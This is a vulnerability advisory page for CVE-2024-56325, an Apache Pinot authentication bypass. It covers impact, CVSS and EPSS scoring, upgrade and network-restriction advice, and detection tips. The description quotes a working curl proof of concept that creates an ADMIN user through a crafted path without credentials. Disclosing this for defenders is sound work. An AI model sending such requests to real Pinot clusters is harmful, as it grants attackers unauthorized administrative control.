Vulnerability record · CVE-2024-56325 · published 1 April 2025
CVE-2024-56325: Apache Pinot authentication bypass via alternate path
Apache · Pinot
Apache Pinot fails to require authentication when a request path does not contain a slash and contains a dot, allowing crafted requests to reach protected endpoints. An attacker can add a new user without credentials, gaining administrative control over the Pinot cluster.
Description
Authentication Bypass Issue If the path does not contain / and contain., authentication is not required. Expected Normal Request and Response Example curl -X POST -H "Content-Type: application/json" -d {\"username\":\"hack2\",\"password\":\"hack\",\"component\":\"CONTROLLER\",\"role\":\"ADMIN\",\"tables\":[],\"permissions\":[],\"usernameWithComponent\":\"hack_CONTROLLER\"} http://{server_ip}:9000/users Return: {"code":401,"error":"HTTP 401 Unauthorized"} Malicious Request and Response Example curl -X POST -H "Content-Type: application/json" -d '{\"username\":\"hack\",\"password\":\"hack\",\"component\":\"CONTROLLER\",\"role\":\"ADMIN\",\"tables\":[],\"permissions\":[],\"usernameWithComponent\":\"hack_CONTROLLER\"}' http://{serverip}:9000/users; http://{serverip}:9000/users; . Return: {"users":{}} A new user gets added bypassing authentication, enabling the user to control Pinot.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Automated analysis
critical priorityCVSS 9.8 with no authentication required and full confidentiality, integrity and availability impact, plus very high EPSS probability.
What it is
Apache Pinot fails to require authentication when a request path does not contain a slash and contains a dot, allowing crafted requests to reach protected endpoints. An attacker can add a new user without credentials, gaining administrative control over the Pinot cluster.
Impact
An unauthenticated attacker can create arbitrary users, including ADMIN-role accounts, and thereby control the Pinot deployment.
Attack surface
Reachable over the network via HTTP requests to the Pinot controller API; no authentication or user interaction is required per the CVSS vector (AV:N/AC:L/PR:N/UI:N).
Exploitation
Not listed in CISA KEV and no public exploit references are tagged, but EPSS is very high (0.80212, 99.6th percentile), indicating elevated likelihood of exploitation.
What to do
- Upgrade Apache Pinot to a version containing the fix for CVE-2024-56325 as directed by the vendor advisory.
- Restrict network access to Pinot controller and broker ports (e.g., 9000) to trusted hosts only.
- Place Pinot behind an authenticating reverse proxy or API gateway that normalizes and validates request paths.
- Audit existing Pinot users and roles for unauthorized accounts and remove any that are not expected.
Detection
- Monitor Pinot controller logs for POST /users requests with unusual paths containing dots or missing slashes.
- Alert on new user creation events, especially accounts with ADMIN role or unexpected usernames.
- Inspect HTTP access logs for requests to Pinot endpoints with malformed or alternate path patterns.
This assessment is produced automatically and is not human-reviewed. Verify against the vendor advisory before acting on it.
Affected products
1 vulnerable configurations from NVD's CPE data, grouped by vendor and product.
References
| Link | Tags |
|---|---|
| https://lists.apache.org/thread/ksf8qsndr1h66otkbjz2wrzsbw992r8v | Mailing ListVendor Advisory |
| http://www.openwall.com/lists/oss-security/2025/03/27/8 | Mailing ListThird Party Advisory |
Track CVE-2024-56325 inside VULONE
Watch it alongside the ransomware crews, C2 infrastructure and forum chatter that reference it, query it through the API and pull it into your SIEM over TAXII.
Related vulnerabilities
Same products first, then exploited flaws of the same weakness class.
Source: NIST National Vulnerability Database (record CVE-2024-56325), CISA KEV, FIRST EPSS (scores of 2026-09-26). This page is refreshed as NVD updates the record.
